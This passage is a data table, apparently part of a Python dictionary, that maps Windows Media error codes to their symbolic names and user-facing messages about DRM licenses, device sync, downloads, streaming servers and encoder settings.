0xC00D11FF: ("NS_E_CD_QUEUEING_DISABLED", "Cannot queue the CD track because queuing is not enabled."),
0xC00D1202: ("NS_E_WMP_DRM_ACQUIRING_LICENSE", "Windows Media Player cannot download additional media usage rights until the current download is complete."),
0xC00D1203: ("NS_E_WMP_DRM_LICENSE_EXPIRED", "The media usage rights for this file have expired or are no longer valid. If you obtained the file from an online store, sign in to the store, and then try again."),
0xC00D1204: ("NS_E_WMP_DRM_LICENSE_NOTACQUIRED", "Windows Media Player cannot download the media usage rights for the file. If you obtained the file from an online store, sign in to the store, and then try again."),
0xC00D1205: ("NS_E_WMP_DRM_LICENSE_NOTENABLED", "The media usage rights for this file are not yet valid. To see when they will become valid, right-click the file in the library, click Properties, and then click the Media Usage Rights tab."),
0xC00D1206: ("NS_E_WMP_DRM_LICENSE_UNUSABLE", "The media usage rights for this file are not valid. If you obtained this file from an online store, contact the store for assistance."),
0xC00D1207: ("NS_E_WMP_DRM_LICENSE_CONTENT_REVOKED", "The content provider has revoked the media usage rights for this file. If you obtained this file from an online store, ask the store if a new version of the file is available."),
0xC00D1208: ("NS_E_WMP_DRM_LICENSE_NOSAP", "The media usage rights for this file require a feature that is not supported in your current version of Windows Media Player or your current version of Windows. Try installing the latest version of the Player. If you obtained this file from an online store, contact the store for further assistance."),
0xC00D1209: ("NS_E_WMP_DRM_UNABLE_TO_ACQUIRE_LICENSE", "Windows Media Player cannot download media usage rights at this time. Try again later."),
0xC00D120A: ("NS_E_WMP_LICENSE_REQUIRED", "Windows Media Player cannot play, burn, or sync the file because the media usage rights are missing. If you obtained the file from an online store, sign in to the store, and then try again."),
0xC00D120B: ("NS_E_WMP_PROTECTED_CONTENT", "Windows Media Player cannot play, burn, or sync the file because the media usage rights are missing. If you obtained the file from an online store, sign in to the store, and then try again."),
0xC00D122A: ("NS_E_WMP_POLICY_VALUE_NOT_CONFIGURED", "Windows Media Player cannot read a policy. This can occur when the policy does not exist in the registry or when the registry cannot be read."),
0xC00D1234: ("NS_E_PDA_CANNOT_SYNC_FROM_INTERNET", "Windows Media Player cannot sync content streamed directly from the Internet. If possible, download the file to your computer, and then try to sync the file."),
0xC00D1235: ("NS_E_PDA_CANNOT_SYNC_INVALID_PLAYLIST", "This playlist is not valid or is corrupted. Create a new playlist using Windows Media Player, then sync the new playlist instead."),
0xC00D1236: ("NS_E_PDA_FAILED_TO_SYNCHRONIZE_FILE", "Windows Media Player encountered a problem while synchronizing the file to the device. For additional assistance, click Web Help."),
0xC00D1237: ("NS_E_PDA_SYNC_FAILED", "Windows Media Player encountered an error while synchronizing to the device."),
0xC00D1238: ("NS_E_PDA_DELETE_FAILED", "Windows Media Player cannot delete a file from the device."),
0xC00D1239: ("NS_E_PDA_FAILED_TO_RETRIEVE_FILE", "Windows Media Player cannot copy a file from the device to your library."),
0xC00D123A: ("NS_E_PDA_DEVICE_NOT_RESPONDING", "Windows Media Player cannot communicate with the device because the device is not responding. Try reconnecting the device, resetting the device, or contacting the device manufacturer for updated firmware."),
0xC00D123B: ("NS_E_PDA_FAILED_TO_TRANSCODE_PHOTO", "Windows Media Player cannot sync the picture to the device because a problem occurred while converting the file to another quality level or format. The original file might be damaged or corrupted."),
0xC00D123C: ("NS_E_PDA_FAILED_TO_ENCRYPT_TRANSCODED_FILE", "Windows Media Player cannot convert the file. The file might have been encrypted by the Encrypted File System (EFS). Try decrypting the file first and then synchronizing it. For information about how to decrypt a file, see Windows Help and Support."),
0xC00D123D: ("NS_E_PDA_CANNOT_TRANSCODE_TO_AUDIO", "Your device requires that this file be converted in order to play on the device. However, the device either does not support playing audio, or Windows Media Player cannot convert the file to an audio format that is supported by the device."),
0xC00D123E: ("NS_E_PDA_CANNOT_TRANSCODE_TO_VIDEO", "Your device requires that this file be converted in order to play on the device. However, the device either does not support playing video, or Windows Media Player cannot convert the file to a video format that is supported by the device."),
0xC00D123F: ("NS_E_PDA_CANNOT_TRANSCODE_TO_IMAGE", "Your device requires that this file be converted in order to play on the device. However, the device either does not support displaying pictures, or Windows Media Player cannot convert the file to a picture format that is supported by the device."),
0xC00D1240: ("NS_E_PDA_RETRIEVED_FILE_FILENAME_TOO_LONG", "Windows Media Player cannot sync the file to your computer because the file name is too long. Try renaming the file on the device."),
0xC00D1241: ("NS_E_PDA_CEWMDM_DRM_ERROR", "Windows Media Player cannot sync the file because the device is not responding. This typically occurs when there is a problem with the device firmware. For additional assistance, click Web Help."),
0xC00D1242: ("NS_E_INCOMPLETE_PLAYLIST", "Incomplete playlist."),
0xC00D1243: ("NS_E_PDA_SYNC_RUNNING", "It is not possible to perform the requested action because sync is in progress. You can either stop sync or wait for it to complete, and then try again."),
0xC00D1244: ("NS_E_PDA_SYNC_LOGIN_ERROR", "Windows Media Player cannot sync the subscription content because you are not signed in to the online store that provided it. Sign in to the online store, and then try again."),
0xC00D1245: ("NS_E_PDA_TRANSCODE_CODEC_NOT_FOUND", "Windows Media Player cannot convert the file to the format required by the device. One or more codecs required to convert the file could not be found."),
0xC00D1246: ("NS_E_CANNOT_SYNC_DRM_TO_NON_JANUS_DEVICE", "It is not possible to sync subscription files to this device."),
0xC00D1247: ("NS_E_CANNOT_SYNC_PREVIOUS_SYNC_RUNNING", "Your device is operating slowly or is not responding. Until the device responds, it is not possible to sync again. To return the device to normal operation, try disconnecting it from the computer or resetting it."),
0xC00D125C: ("NS_E_WMP_HWND_NOTFOUND", "The Windows Media Player download manager cannot function properly because the Player main window cannot be found. Try restarting the Player."),
0xC00D125D: ("NS_E_BKGDOWNLOAD_WRONG_NO_FILES", "Windows Media Player encountered a download that has the wrong number of files. This might occur if another program is trying to create jobs with the same signature as the Player."),
0xC00D125E: ("NS_E_BKGDOWNLOAD_COMPLETECANCELLEDJOB", "Windows Media Player tried to complete a download that was already canceled. The file will not be available."),
0xC00D125F: ("NS_E_BKGDOWNLOAD_CANCELCOMPLETEDJOB", "Windows Media Player tried to cancel a download that was already completed. The file will not be removed."),
0xC00D1260: ("NS_E_BKGDOWNLOAD_NOJOBPOINTER", "Windows Media Player is trying to access a download that is not valid."),
0xC00D1261: ("NS_E_BKGDOWNLOAD_INVALIDJOBSIGNATURE", "This download was not created by Windows Media Player."),
0xC00D1262: ("NS_E_BKGDOWNLOAD_FAILED_TO_CREATE_TEMPFILE", "The Windows Media Player download manager cannot create a temporary file name. This might occur if the path is not valid or if the disk is full."),
0xC00D1263: ("NS_E_BKGDOWNLOAD_PLUGIN_FAILEDINITIALIZE", "The Windows Media Player download manager plug-in cannot start. This might occur if the system is out of resources."),
0xC00D1264: ("NS_E_BKGDOWNLOAD_PLUGIN_FAILEDTOMOVEFILE", "The Windows Media Player download manager cannot move the file."),
0xC00D1265: ("NS_E_BKGDOWNLOAD_CALLFUNCFAILED", "The Windows Media Player download manager cannot perform a task because the system has no resources to allocate."),
0xC00D1266: ("NS_E_BKGDOWNLOAD_CALLFUNCTIMEOUT", "The Windows Media Player download manager cannot perform a task because the task took too long to run."),
0xC00D1267: ("NS_E_BKGDOWNLOAD_CALLFUNCENDED", "The Windows Media Player download manager cannot perform a task because the Player is terminating the service. The task will be recovered when the Player restarts."),
0xC00D1268: ("NS_E_BKGDOWNLOAD_WMDUNPACKFAILED", "The Windows Media Player download manager cannot expand a WMD file. The file will be deleted and the operation will not be completed successfully."),
0xC00D1269: ("NS_E_BKGDOWNLOAD_FAILEDINITIALIZE", "The Windows Media Player download manager cannot start. This might occur if the system is out of resources."),
0xC00D126A: ("NS_E_INTERFACE_NOT_REGISTERED_IN_GIT", "Windows Media Player cannot access a required functionality. This might occur if the wrong system files or Player DLLs are loaded."),
0xC00D126B: ("NS_E_BKGDOWNLOAD_INVALID_FILE_NAME", "Windows Media Player cannot get the file name of the requested download. The requested download will be canceled."),
0xC00D128E: ("NS_E_IMAGE_DOWNLOAD_FAILED", "Windows Media Player encountered an error while downloading an image."),
0xC00D12C0: ("NS_E_WMP_UDRM_NOUSERLIST", "Windows Media Player cannot update your media usage rights because the Player cannot verify the list of activated users of this computer."),
0xC00D12C1: ("NS_E_WMP_DRM_NOT_ACQUIRING", "Windows Media Player is trying to acquire media usage rights for a file that is no longer being used. Rights acquisition will stop."),
0xC00D12F2: ("NS_E_WMP_BSTR_TOO_LONG", "The parameter is not valid."),
0xC00D12FC: ("NS_E_WMP_AUTOPLAY_INVALID_STATE", "The state is not valid for this request."),
0xC00D1306: ("NS_E_WMP_COMPONENT_REVOKED", "Windows Media Player cannot play this file until you complete the software component upgrade. After the component has been upgraded, try to play the file again."),
0xC00D1324: ("NS_E_CURL_NOTSAFE", "The URL is not safe for the operation specified."),
0xC00D1325: ("NS_E_CURL_INVALIDCHAR", "The URL contains one or more characters that are not valid."),
0xC00D1326: ("NS_E_CURL_INVALIDHOSTNAME", "The URL contains a host name that is not valid."),
0xC00D1327: ("NS_E_CURL_INVALIDPATH", "The URL contains a path that is not valid."),
0xC00D1328: ("NS_E_CURL_INVALIDSCHEME", "The URL contains a scheme that is not valid."),
0xC00D1329: ("NS_E_CURL_INVALIDURL", "The URL is not valid."),
0xC00D132B: ("NS_E_CURL_CANTWALK", "Windows Media Player cannot play the file. If you clicked a link on a web page, the link might not be valid."),
0xC00D132C: ("NS_E_CURL_INVALIDPORT", "The URL port is not valid."),
0xC00D132D: ("NS_E_CURLHELPER_NOTADIRECTORY", "The URL is not a directory."),
0xC00D132E: ("NS_E_CURLHELPER_NOTAFILE", "The URL is not a file."),
0xC00D132F: ("NS_E_CURL_CANTDECODE", "The URL contains characters that cannot be decoded. The URL might be truncated or incomplete."),
0xC00D1330: ("NS_E_CURLHELPER_NOTRELATIVE", "The specified URL is not a relative URL."),
0xC00D1331: ("NS_E_CURL_INVALIDBUFFERSIZE", "The buffer is smaller than the size specified."),
0xC00D1356: ("NS_E_SUBSCRIPTIONSERVICE_PLAYBACK_DISALLOWED", "The content provider has not granted you the right to play this file. Go to the content provider's online store to get play rights."),
0xC00D1357: ("NS_E_CANNOT_BUY_OR_DOWNLOAD_FROM_MULTIPLE_SERVICES", "Windows Media Player cannot purchase or download content from multiple online stores."),
0xC00D1358: ("NS_E_CANNOT_BUY_OR_DOWNLOAD_CONTENT", "The file cannot be purchased or downloaded. The file might not be available from the online store."),
0xC00D135A: ("NS_E_NOT_CONTENT_PARTNER_TRACK", "The provider of this file cannot be identified."),
0xC00D135B: ("NS_E_TRACK_DOWNLOAD_REQUIRES_ALBUM_PURCHASE", "The file is only available for download when you buy the entire album."),
0xC00D135C: ("NS_E_TRACK_DOWNLOAD_REQUIRES_PURCHASE", "You must buy the file before you can download it."),
0xC00D135D: ("NS_E_TRACK_PURCHASE_MAXIMUM_EXCEEDED", "You have exceeded the maximum number of files that can be purchased in a single transaction."),
0xC00D135F: ("NS_E_SUBSCRIPTIONSERVICE_LOGIN_FAILED", "Windows Media Player cannot sign in to the online store. Verify that you are using the correct user name and password. If the problem persists, the store may be temporarily unavailable."),
0xC00D1360: ("NS_E_SUBSCRIPTIONSERVICE_DOWNLOAD_TIMEOUT", "Windows Media Player cannot download this item because the server is not responding. The server might be temporarily unavailable or you may have lost your Internet connection."),
0xC00D1362: ("NS_E_CONTENT_PARTNER_STILL_INITIALIZING", "Content Partner still initializing."),
0xC00D1363: ("NS_E_OPEN_CONTAINING_FOLDER_FAILED", "The folder could not be opened. The folder may have been moved or deleted."),
0xC00D136A: ("NS_E_ADVANCEDEDIT_TOO_MANY_PICTURES", "Windows Media Player could not add all of the images to the file because the images exceeded the 7 megabyte (MB) limit."),
0xC00D1388: ("NS_E_REDIRECT", "The client redirected to another server."),
0xC00D1389: ("NS_E_STALE_PRESENTATION", "The streaming media description is no longer current."),
0xC00D138A: ("NS_E_NAMESPACE_WRONG_PERSIST", "It is not possible to create a persistent namespace node under a transient parent node."),
0xC00D138B: ("NS_E_NAMESPACE_WRONG_TYPE", "It is not possible to store a value in a namespace node that has a different value type."),
0xC00D138C: ("NS_E_NAMESPACE_NODE_CONFLICT", "It is not possible to remove the root namespace node."),
0xC00D138D: ("NS_E_NAMESPACE_NODE_NOT_FOUND", "The specified namespace node could not be found."),
0xC00D138E: ("NS_E_NAMESPACE_BUFFER_TOO_SMALL", "The buffer supplied to hold namespace node string is too small."),
0xC00D138F: ("NS_E_NAMESPACE_TOO_MANY_CALLBACKS", "The callback list on a namespace node is at the maximum size."),
0xC00D1390: ("NS_E_NAMESPACE_DUPLICATE_CALLBACK", "It is not possible to register an already-registered callback on a namespace node."),
0xC00D1391: ("NS_E_NAMESPACE_CALLBACK_NOT_FOUND", "Cannot find the callback in the namespace when attempting to remove the callback."),
0xC00D1392: ("NS_E_NAMESPACE_NAME_TOO_LONG", "The namespace node name exceeds the allowed maximum length."),
0xC00D1393: ("NS_E_NAMESPACE_DUPLICATE_NAME", "Cannot create a namespace node that already exists."),
0xC00D1394: ("NS_E_NAMESPACE_EMPTY_NAME", "The namespace node name cannot be a null string."),
0xC00D1395: ("NS_E_NAMESPACE_INDEX_TOO_LARGE", "Finding a child namespace node by index failed because the index exceeded the number of children."),
0xC00D1396: ("NS_E_NAMESPACE_BAD_NAME", "The namespace node name is invalid."),
0xC00D1397: ("NS_E_NAMESPACE_WRONG_SECURITY", "It is not possible to store a value in a namespace node that has a different security type."),
0xC00D13EC: ("NS_E_CACHE_ARCHIVE_CONFLICT", "The archive request conflicts with other requests in progress."),
0xC00D13ED: ("NS_E_CACHE_ORIGIN_SERVER_NOT_FOUND", "The specified origin server cannot be found."),
0xC00D13EE: ("NS_E_CACHE_ORIGIN_SERVER_TIMEOUT", "The specified origin server is not responding."),
0xC00D13EF: ("NS_E_CACHE_NOT_BROADCAST", "The internal code for HTTP status code 412 Precondition Failed due to not broadcast type."),
0xC00D13F0: ("NS_E_CACHE_CANNOT_BE_CACHED", "The internal code for HTTP status code 403 Forbidden due to not cacheable."),
0xC00D13F1: ("NS_E_CACHE_NOT_MODIFIED", "The internal code for HTTP status code 304 Not Modified."),
0xC00D1450: ("NS_E_CANNOT_REMOVE_PUBLISHING_POINT", "It is not possible to remove a cache or proxy publishing point."),
0xC00D1451: ("NS_E_CANNOT_REMOVE_PLUGIN", "It is not possible to remove the last instance of a type of plug-in."),
0xC00D1452: ("NS_E_WRONG_PUBLISHING_POINT_TYPE", "Cache and proxy publishing points do not support this property or method."),
0xC00D1453: ("NS_E_UNSUPPORTED_LOAD_TYPE", "The plug-in does not support the specified load type."),
0xC00D1454: ("NS_E_INVALID_PLUGIN_LOAD_TYPE_CONFIGURATION", "The plug-in does not support any load types. The plug-in must support at least one load type."),
0xC00D1455: ("NS_E_INVALID_PUBLISHING_POINT_NAME", "The publishing point name is invalid."),
0xC00D1456: ("NS_E_TOO_MANY_MULTICAST_SINKS", "Only one multicast data writer plug-in can be enabled for a publishing point."),
0xC00D1457: ("NS_E_PUBLISHING_POINT_INVALID_REQUEST_WHILE_STARTED", "The requested operation cannot be completed while the publishing point is started."),
0xC00D1458: ("NS_E_MULTICAST_PLUGIN_NOT_ENABLED", "A multicast data writer plug-in must be enabled in order for this operation to be completed."),
0xC00D1459: ("NS_E_INVALID_OPERATING_SYSTEM_VERSION", "This feature requires Windows Server 2003, Enterprise Edition."),
0xC00D145A: ("NS_E_PUBLISHING_POINT_REMOVED", "The requested operation cannot be completed because the specified publishing point has been removed."),
0xC00D145B: ("NS_E_INVALID_PUSH_PUBLISHING_POINT_START_REQUEST", "Push publishing points are started when the encoder starts pushing the stream. This publishing point cannot be started by the server administrator."),
0xC00D145C: ("NS_E_UNSUPPORTED_LANGUAGE", "The specified language is not supported."),
0xC00D145D: ("NS_E_WRONG_OS_VERSION", "Windows Media Services will only run on Windows Server 2003, Standard Edition and Windows Server 2003, Enterprise Edition."),
0xC00D145E: ("NS_E_PUBLISHING_POINT_STOPPED", "The operation cannot be completed because the publishing point has been stopped."),
0xC00D14B4: ("NS_E_PLAYLIST_ENTRY_ALREADY_PLAYING", "The playlist entry is already playing."),
0xC00D14B5: ("NS_E_EMPTY_PLAYLIST", "The playlist or directory you are requesting does not contain content."),
0xC00D14B6: ("NS_E_PLAYLIST_PARSE_FAILURE", "The server was unable to parse the requested playlist file."),
0xC00D14B7: ("NS_E_PLAYLIST_UNSUPPORTED_ENTRY", "The requested operation is not supported for this type of playlist entry."),
0xC00D14B8: ("NS_E_PLAYLIST_ENTRY_NOT_IN_PLAYLIST", "Cannot jump to a playlist entry that is not inserted in the playlist."),
0xC00D14B9: ("NS_E_PLAYLIST_ENTRY_SEEK", "Cannot seek to the desired playlist entry."),
0xC00D14BA: ("NS_E_PLAYLIST_RECURSIVE_PLAYLISTS", "Cannot play recursive playlist."),
0xC00D14BB: ("NS_E_PLAYLIST_TOO_MANY_NESTED_PLAYLISTS", "The number of nested playlists exceeded the limit the server can handle."),
0xC00D14BC: ("NS_E_PLAYLIST_SHUTDOWN", "Cannot execute the requested operation because the playlist has been shut down by the Media Server."),
0xC00D14BD: ("NS_E_PLAYLIST_END_RECEDING", "The playlist has ended while receding."),
0xC00D1518: ("NS_E_DATAPATH_NO_SINK", "The data path does not have an associated data writer plug-in."),
0xC00D151A: ("NS_E_INVALID_PUSH_TEMPLATE", "The specified push template is invalid."),
0xC00D151B: ("NS_E_INVALID_PUSH_PUBLISHING_POINT", "The specified push publishing point is invalid."),
0xC00D151C: ("NS_E_CRITICAL_ERROR", "The requested operation cannot be performed because the server or publishing point is in a critical error state."),
0xC00D151D: ("NS_E_NO_NEW_CONNECTIONS", "The content cannot be played because the server is not currently accepting connections. Try connecting at a later time."),
0xC00D151E: ("NS_E_WSX_INVALID_VERSION", "The version of this playlist is not supported by the server."),
0xC00D151F: ("NS_E_HEADER_MISMATCH", "The command does not apply to the current media header user by a server component."),
0xC00D1520: ("NS_E_PUSH_DUPLICATE_PUBLISHING_POINT_NAME", "The specified publishing point name is already in use."),
0xC00D157C: ("NS_E_NO_SCRIPT_ENGINE", "There is no script engine available for this file."),
0xC00D157D: ("NS_E_PLUGIN_ERROR_REPORTED", "The plug-in has reported an error. See the Troubleshooting tab or the NT Application Event Log for details."),
0xC00D157E: ("NS_E_SOURCE_PLUGIN_NOT_FOUND", "No enabled data source plug-in is available to access the requested content."),
0xC00D157F: ("NS_E_PLAYLIST_PLUGIN_NOT_FOUND", "No enabled playlist parser plug-in is available to access the requested content."),
0xC00D1580: ("NS_E_DATA_SOURCE_ENUMERATION_NOT_SUPPORTED", "The data source plug-in does not support enumeration."),
0xC00D1581: ("NS_E_MEDIA_PARSER_INVALID_FORMAT", "The server cannot stream the selected file because it is either damaged or corrupt. Select a different file."),
0xC00D1582: ("NS_E_SCRIPT_DEBUGGER_NOT_INSTALLED", "The plug-in cannot be enabled because a compatible script debugger is not installed on this system. Install a script debugger, or disable the script debugger option on the general tab of the plug-in's properties page and try again."),
0xC00D1583: ("NS_E_FEATURE_REQUIRES_ENTERPRISE_SERVER", "The plug-in cannot be loaded because it requires Windows Server 2003, Enterprise Edition."),
0xC00D1584: ("NS_E_WIZARD_RUNNING", "Another wizard is currently running. Please close the other wizard or wait until it finishes before attempting to run this wizard again."),
0xC00D1585: ("NS_E_INVALID_LOG_URL", "Invalid log URL. Multicast logging URL must look like \"http://servername/isapibackend.dll\"."),
0xC00D1586: ("NS_E_INVALID_MTU_RANGE", "Invalid MTU specified. The valid range for maximum packet size is between 36 and 65507 bytes."),
0xC00D1587: ("NS_E_INVALID_PLAY_STATISTICS", "Invalid play statistics for logging."),
0xC00D1588: ("NS_E_LOG_NEED_TO_BE_SKIPPED", "The log needs to be skipped."),
0xC00D1589: ("NS_E_HTTP_TEXT_DATACONTAINER_SIZE_LIMIT_EXCEEDED", "The size of the data exceeded the limit the WMS HTTP Download Data Source plugin can handle."),
0xC00D158A: ("NS_E_PORT_IN_USE", "One usage of each socket address (protocol/network address/port) is permitted. Verify that other services or applications are not attempting to use the same port and then try to enable the plug-in again."),
0xC00D158B: ("NS_E_PORT_IN_USE_HTTP", "One usage of each socket address (protocol/network address/port) is permitted. Verify that other services (such as IIS) or applications are not attempting to use the same port and then try to enable the plug-in again."),
0xC00D158C: ("NS_E_HTTP_TEXT_DATACONTAINER_INVALID_SERVER_RESPONSE", "The WMS HTTP Download Data Source plugin was unable to receive the remote server's response."),
0xC00D158D: ("NS_E_ARCHIVE_REACH_QUOTA", "The archive plug-in has reached its quota."),
0xC00D158E: ("NS_E_ARCHIVE_ABORT_DUE_TO_BCAST", "The archive plug-in aborted because the source was from broadcast."),
0xC00D158F: ("NS_E_ARCHIVE_GAP_DETECTED", "The archive plug-in detected an interrupt in the source."),
0xC00D1590: ("NS_E_AUTHORIZATION_FILE_NOT_FOUND", "The system cannot find the file specified."),
0xC00D1B58: ("NS_E_BAD_MARKIN", "The mark-in time should be greater than 0 and less than the mark-out time."),
0xC00D1B59: ("NS_E_BAD_MARKOUT", "The mark-out time should be greater than the mark-in time and less than the file duration."),
0xC00D1B5A: ("NS_E_NOMATCHING_MEDIASOURCE", "No matching media type is found in the source %1."),
0xC00D1B5B: ("NS_E_UNSUPPORTED_SOURCETYPE", "The specified source type is not supported."),
0xC00D1B5C: ("NS_E_TOO_MANY_AUDIO", "It is not possible to specify more than one audio input."),
0xC00D1B5D: ("NS_E_TOO_MANY_VIDEO", "It is not possible to specify more than two video inputs."),
0xC00D1B5E: ("NS_E_NOMATCHING_ELEMENT", "No matching element is found in the list."),
0xC00D1B5F: ("NS_E_MISMATCHED_MEDIACONTENT", "The profile's media types must match the media types defined for the session."),
0xC00D1B60: ("NS_E_CANNOT_DELETE_ACTIVE_SOURCEGROUP", "It is not possible to remove an active source while encoding."),
0xC00D1B61: ("NS_E_AUDIODEVICE_BUSY", "It is not possible to open the specified audio capture device because it is currently in use."),
0xC00D1B62: ("NS_E_AUDIODEVICE_UNEXPECTED", "It is not possible to open the specified audio capture device because an unexpected error has occurred."),
0xC00D1B63: ("NS_E_AUDIODEVICE_BADFORMAT", "The audio capture device does not support the specified audio format."),
0xC00D1B64: ("NS_E_VIDEODEVICE_BUSY", "It is not possible to open the specified video capture device because it is currently in use."),
0xC00D1B65: ("NS_E_VIDEODEVICE_UNEXPECTED", "It is not possible to open the specified video capture device because an unexpected error has occurred."),
0xC00D1B66: ("NS_E_INVALIDCALL_WHILE_ENCODER_RUNNING", "This operation is not allowed while encoding."),
0xC00D1B67: ("NS_E_NO_PROFILE_IN_SOURCEGROUP", "No profile is set for the source."),
0xC00D1B68: ("NS_E_VIDEODRIVER_UNSTABLE", "The video capture driver returned an unrecoverable error. It is now in an unstable state."),
0xC00D1B69: ("NS_E_VIDCAPSTARTFAILED", "It was not possible to start the video device."),
0xC00D1B6A: ("NS_E_VIDSOURCECOMPRESSION", "The video source does not support the requested output format or color depth."),
0xC00D1B6B: ("NS_E_VIDSOURCESIZE", "The video source does not support the requested capture size."),
0xC00D1B6C: ("NS_E_ICMQUERYFORMAT", "It was not possible to obtain output information from the video compressor."),
0xC00D1B6D: ("NS_E_VIDCAPCREATEWINDOW", "It was not possible to create a video capture window."),
0xC00D1B6E: ("NS_E_VIDCAPDRVINUSE", "There is already a stream active on this video device."),
0xC00D1B6F: ("NS_E_NO_MEDIAFORMAT_IN_SOURCE", "No media format is set in source."),
0xC00D1B70: ("NS_E_NO_VALID_OUTPUT_STREAM", "Cannot find a valid output stream from the source."),
0xC00D1B71: ("NS_E_NO_VALID_SOURCE_PLUGIN", "It was not possible to find a valid source plug-in for the specified source."),
0xC00D1B72: ("NS_E_NO_ACTIVE_SOURCEGROUP", "No source is currently active."),
0xC00D1B73: ("NS_E_NO_SCRIPT_STREAM", "No script stream is set in the current source."),
0xC00D1B74: ("NS_E_INVALIDCALL_WHILE_ARCHIVAL_RUNNING", "This operation is not allowed while archiving."),
0xC00D1B75: ("NS_E_INVALIDPACKETSIZE", "The setting for the maximum packet size is not valid."),
0xC00D1B76: ("NS_E_PLUGIN_CLSID_INVALID", "The plug-in CLSID specified is not valid."),
0xC00D1B77: ("NS_E_UNSUPPORTED_ARCHIVETYPE", "This archive type is not supported."),
0xC00D1B78: ("NS_E_UNSUPPORTED_ARCHIVEOPERATION", "This archive operation is not supported."),
0xC00D1B79: ("NS_E_ARCHIVE_FILENAME_NOTSET", "The local archive file name was not set."),
0xC00D1B7A: ("NS_E_SOURCEGROUP_NOTPREPARED", "The source is not yet prepared."),
0xC00D1B7B: ("NS_E_PROFILE_MISMATCH", "Profiles on the sources do not match."),
0xC00D1B7C: ("NS_E_INCORRECTCLIPSETTINGS", "The specified crop values are not valid."),
0xC00D1B7D: ("NS_E_NOSTATSAVAILABLE", "No statistics are available at this time."),
0xC00D1B7E: ("NS_E_NOTARCHIVING", "The encoder is not archiving."),
0xC00D1B7F: ("NS_E_INVALIDCALL_WHILE_ENCODER_STOPPED", "This operation is only allowed during encoding."),
0xC00D1B80: ("NS_E_NOSOURCEGROUPS", "This SourceGroupCollection doesn't contain any SourceGroups."),
0xC00D1B81: ("NS_E_INVALIDINPUTFPS", "This source does not have a frame rate of 30 fps. Therefore, it is not possible to apply the inverse telecine filter to the source."),
0xC00D1B82: ("NS_E_NO_DATAVIEW_SUPPORT", "It is not possible to display your source or output video in the Video panel."),
0xC00D1B83: ("NS_E_CODEC_UNAVAILABLE", "One or more codecs required to open this content could not be found."),
0xC00D1B84: ("NS_E_ARCHIVE_SAME_AS_INPUT", "The archive file has the same name as an input file. Change one of the names before continuing."),
0xC00D1B85: ("NS_E_SOURCE_NOTSPECIFIED", "The source has not been set up completely."),
0xC00D1B86: ("NS_E_NO_REALTIME_TIMECOMPRESSION", "It is not possible to apply time compression to a broadcast session."),
0xC00D1B87: ("NS_E_UNSUPPORTED_ENCODER_DEVICE", "It is not possible to open this device."),
0xC00D1B88: ("NS_E_UNEXPECTED_DISPLAY_SETTINGS", "It is not possible to start encoding because the display size or color has changed since the current session was defined. Restore the previous settings or create a new session."),
0xC00D1B89: ("NS_E_NO_AUDIODATA", "No audio data has been received for several seconds. Check the audio source and restart the encoder."),
0xC00D1B8A: ("NS_E_INPUTSOURCE_PROBLEM", "One or all of the specified sources are not working properly. Check that the sources are configured correctly."),
0xC00D1B8B: ("NS_E_WME_VERSION_MISMATCH", "The supplied configuration file is not supported by this version of the encoder."),
0xC00D1B8C: ("NS_E_NO_REALTIME_PREPROCESS", "It is not possible to use image preprocessing with live encoding."),
0xC00D1B8D: ("NS_E_NO_REPEAT_PREPROCESS", "It is not possible to use two-pass encoding when the source is set to loop."),
0xC00D1B8E: ("NS_E_CANNOT_PAUSE_LIVEBROADCAST", "It is not possible to pause encoding during a broadcast."),
0xC00D1B8F: ("NS_E_DRM_PROFILE_NOT_SET", "A DRM profile has not been set for the current session."),
0xC00D1B90: ("NS_E_DUPLICATE_DRMPROFILE", "The profile ID is already used by a DRM profile. Specify a different profile ID."),
0xC00D1B91: ("NS_E_INVALID_DEVICE", "The setting of the selected device does not support control for playing back tapes."),
0xC00D1B92: ("NS_E_SPEECHEDL_ON_NON_MIXEDMODE", "You must specify a mixed voice and audio mode in order to use an optimization definition file."),
0xC00D1B93: ("NS_E_DRM_PASSWORD_TOO_LONG", "The specified password is too long. Type a password with fewer than 8 characters."),
0xC00D1B94: ("NS_E_DEVCONTROL_FAILED_SEEK", "It is not possible to seek to the specified mark-in point."),
0xC00D1B95: ("NS_E_INTERLACE_REQUIRE_SAMESIZE", "When you choose to maintain the interlacing in your video, the output video size must match the input video size."),
0xC00D1B96: ("NS_E_TOO_MANY_DEVICECONTROL", "Only one device control plug-in can control a device."),
0xC00D1B97: ("NS_E_NO_MULTIPASS_FOR_LIVEDEVICE", "You must also enable storing content to hard disk temporarily in order to use two-pass encoding with the input device."),
0xC00D1B98: ("NS_E_MISSING_AUDIENCE", "An audience is missing from the output stream configuration."),
0xC00D1B99: ("NS_E_AUDIENCE_CONTENTTYPE_MISMATCH", "All audiences in the output tree must have the same content type."),
0xC00D1B9A: ("NS_E_MISSING_SOURCE_INDEX", "A source index is missing from the output stream configuration."),
0xC00D1B9B: ("NS_E_NUM_LANGUAGE_MISMATCH", "The same source index in different audiences should have the same number of languages."),
0xC00D1B9C: ("NS_E_LANGUAGE_MISMATCH", "The same source index in different audiences should have the same languages."),
0xC00D1B9D: ("NS_E_VBRMODE_MISMATCH", "The same source index in different audiences should use the same VBR encoding mode."),
0xC00D1B9E: ("NS_E_INVALID_INPUT_AUDIENCE_INDEX", "The bit rate index specified is not valid."),
0xC00D1B9F: ("NS_E_INVALID_INPUT_LANGUAGE", "The specified language is not valid."),
0xC00D1BA0: ("NS_E_INVALID_INPUT_STREAM", "The specified source type is not valid."),
0xC00D1BA1: ("NS_E_EXPECT_MONO_WAV_INPUT", "The source must be a mono channel .wav file."),
0xC00D1BA2: ("NS_E_INPUT_WAVFORMAT_MISMATCH", "All the source .wav files must have the same format."),
0xC00D1BA3: ("NS_E_RECORDQ_DISK_FULL", "The hard disk being used for temporary storage of content has reached the minimum allowed disk space. Create more space on the hard disk and restart encoding."),
0xC00D1BA4: ("NS_E_NO_PAL_INVERSE_TELECINE", "It is not possible to apply the inverse telecine feature to PAL content."),
0xC00D1BA5: ("NS_E_ACTIVE_SG_DEVICE_DISCONNECTED", "A capture device in the current active source is no longer available."),
0xC00D1BA6: ("NS_E_ACTIVE_SG_DEVICE_CONTROL_DISCONNECTED", "A device used in the current active source for device control is no longer available."),
0xC00D1BA7: ("NS_E_NO_FRAMES_SUBMITTED_TO_ANALYZER", "No frames have been submitted to the analyzer for analysis."),
0xC00D1BA8: ("NS_E_INPUT_DOESNOT_SUPPORT_SMPTE", "The source video does not support time codes."),
0xC00D1BA9: ("NS_E_NO_SMPTE_WITH_MULTIPLE_SOURCEGROUPS", "It is not possible to generate a time code when there are multiple sources in a session."),
